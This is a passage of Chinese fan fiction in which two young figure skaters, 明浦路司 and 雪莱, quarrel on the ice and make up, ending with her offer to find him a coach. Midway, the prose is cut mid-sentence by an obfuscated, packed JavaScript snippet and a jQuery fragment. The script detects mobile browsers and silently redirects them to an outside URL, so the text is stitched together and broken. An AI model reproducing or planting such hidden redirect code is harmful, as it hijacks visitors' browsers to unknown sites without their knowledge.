“明浦路司!”
“这段时间,你到底在想些什么!”雪莱叫了明浦路司的大名,单刀直入主题。雪莱的性格直来直往,称呼一变,昭示着她此刻的心情并不明媚。
包容一个笨蛋和包容一个不要命,天天找死的笨蛋,那根本就是两码事。雪莱无法理解明浦路司最近古怪的行径。
明浦路司暗道不好,对上那双独特的冰蓝色双眼,心慌与怔愣,还有一丝丝难以启齿的羞赧接踵而至。少年后牙齿颤颤巍巍的细碎碰着,他勉强的露出一个紧巴巴的丑丑笑容:“对不起,小雪。”
柔软友善的性格使得这种用语在明浦路司的嘴边像是固定搭配一样自然。但是光速滑跪,低头认错,这同样也意味着某个在情感问题中很严重的后果:诚意和态度不够。
“我要听的不是这个。”负面情绪从字里行间溢了出来,雪莱的嘴角拉得很平。最后通牒的信号发出。
明浦路司一瞬间意识到自己刚刚的应对糟糕透顶,却也不知道该如何挽回。
他们两个人此时还在冰场上。
冰面冷得要命,冻得明浦路司支撑的手心和屁股都快麻木了。但是他却不知道起身,维持着摔倒的狼狈姿势,只一味无措的仰望着身前挺直身体站好,神色阴晴不定的雪莱。她站得太直,简直像是一杆寒光熠熠的长枪,择人欲噬。
女孩的声音并不是清甜一类,反而偏向中性,如同不太厚重的霜雪,散发着使人下意识敬而远之的清凌冷质。当雪莱不在刻意压制那份在相处中一点点累积的不满与怒火,压抑沉下的嗓音就天然的带上严酷。
说实在话,明浦路司真的被好朋友爆发的怒火吓懵了。他现在就像是面对父母吵架,呆呆僵直住的小孩,并不知道自己做错了什么,只知道讷讷,生怕自己的一举一动火上浇油,加剧战争。
但是,一味的逃避,不说话不表态,对于友情的维系显然是最差的选择。
随着明浦路司选择沉默的时间拉长,雪莱内心的火焰越烧越旺,憋屈得不得了。但是这和平常遇到欠揍家伙直接打一顿不同,她从没有粗暴对待过明浦路司。毕竟这可是她来到异世界认识的第一个朋友。
热战不行,这场爆发最终转入了冷战的轨道。雪莱最后瞥了一眼冰上的明浦路司,头也不回的滑走了。
很好,不说话是吧,那之后也不用再说了。雪莱的行动语言如此道。
“等一下!小雪……”
明浦路司傻眼了,手忙脚乱的想要起身去追,冻僵了的手脚却不给力,各有各的想法,最后只是噗通一下摔得换了个姿势。
雪莱耳朵动了动,忍着没转头。她才不要管这个傻瓜,摔死他算了。
“怎么办、怎么办怎么办……”明浦路司彻底慌了神。
说起来,外人可能不信。但是雪莱这么个一言不合就开打的臭脾气,自打他们俩认识以后却愣是没有吵过一次嘴。这一方面是明浦路司性情温顺,另一方面也是雪莱有所迁就。所以当这一次雪莱忍无可忍的爆发后,明浦路司格外惶恐。他是绝对无法放弃自己唯一的,最好的朋友的。
没错,和习性就是独居,整日独来独往的雪莱不同。明浦路司有自己的日常,有自己的生活。他在学校有能一起吃午饭的同学,回了家有血脉相连的家人,可是……
明浦路司这个人的灵魂只活在冰面之上。
黄发少年圆润的蜜糖色泽的眼睛颤动着,盈盈的水光快速覆盖其上。他的眼睛很大很明亮,似乎是因为这个,他的泪水也积蓄得格外充分。豆粒大的泪珠一颗一颗啪嗒掉落,带着稀薄的体温,打在冰面上。
摔伤的膝盖好痛啊,撑着冰面的手心也好痛啊,痛得简直想要哭出来。可是,真正最痛的那个部位是哪里呢?明浦路司抬起手,死死按在胸口,酸麻的情感汇聚在那里。
“小雪!”他哽咽着,大声冲着雪莱的背影喊道。
“我还想要继续滑冰,还想要继续和你做朋友,想要和你一起,永远的滑下去。虽然我是个笨蛋,但是我一定会更加、更加努力的追上去。所以求求你,可不可以不要放弃我。”
雪莱怔住了。
明浦路司一直知道自己的好朋友是个堪称神迹的天才。她所参加的表演,万人追捧;她所行进的方向,人心向往。哪怕是点燃了明浦路司对滑冰向往的花滑选手,或许也比不上那样天赐的才能。可是这样的雪莱,却是明浦路司一个人的,最好的朋友。
所以,不努力是不行的。不想办
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520842|170706||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法追上去是不行的。明浦路司不想永远看着好朋友的背影,狼狈得滑着。痴心妄想吗?野心勃勃吗?或许是吧。他这个笨蛋,想要做得却是和天才比肩。
埋藏在心里最深处的念头被一腔热血不管不顾的丢了出来,明浦路司忍不住委屈的垂下头。
室内静默无声,明浦路司认为自己糟糕的话终于让他失去了最好的朋友。
“喂,你还打算在地上坐多久。”稍显别扭的声音从明浦路司头顶响起。
明浦路司愕然抬头,稀里哗啦的泪珠模糊了视线,却掩盖不住他眼里闪闪发光的白发女孩。
她抿嘴,伸着一只手,等明浦路司抓住。
雪莱在此之前考虑了很多,但是没有任何一条和明浦路司的真心沾边。毕竟虽然听起来很凡尔赛,但是她从来没有正儿八经的将滑冰当做一项事业对待。她那轻浮恶劣的滑冰态度能被明浦路司吊打十遍不止。所以,当明浦路司哭着请求时。雪莱甚至生出了少许心虚和内疚。
要不……还是好好对待吧。无论是朋友,还是滑冰。
“哇呜呜,小雪……”明浦路司一把鼻涕一把泪的双手并用,像是抓救命稻草一样抓着雪莱纤细的手腕。
雪莱无奈的一个用力,将人拖了起来。她多看了两眼被泪水浸到像是蜂蜜流淌着的眼眸,嘴上却道:“行了行了,别哭了。你这泪腺也太发达了吧。”
明浦路司断断续续道:“我一想到、嗝,你要走、嗝,就忍不住呜呜呜。”
作为家中不大不小,易被忽略的那个孩子,明浦路司习惯了不争不抢不期待。他很乖,不像幼弟哭闹要求玩具零食;他很乖,可以成熟的体谅父母的不易。可是唯独这一次,哪怕哭着闹着,也绝对不可以松手。
在明浦路司的生命里有无数或是想要或是不想要的东西会被忍让着拱手让人。雪莱和滑冰却被永远珍藏在内心的匣子,他们就是明浦路司的心脏本身。如果失去的话,他或许会“死掉”。
雪莱并不知道自己已经和滑冰一起被好朋友划入了失去即死的绝对禁忌,但是她已经切实理解到明浦路司对滑冰怀抱的沉重心情。
她开始思考一件事情。
“……阿司,我帮你找个花滑教练吧。”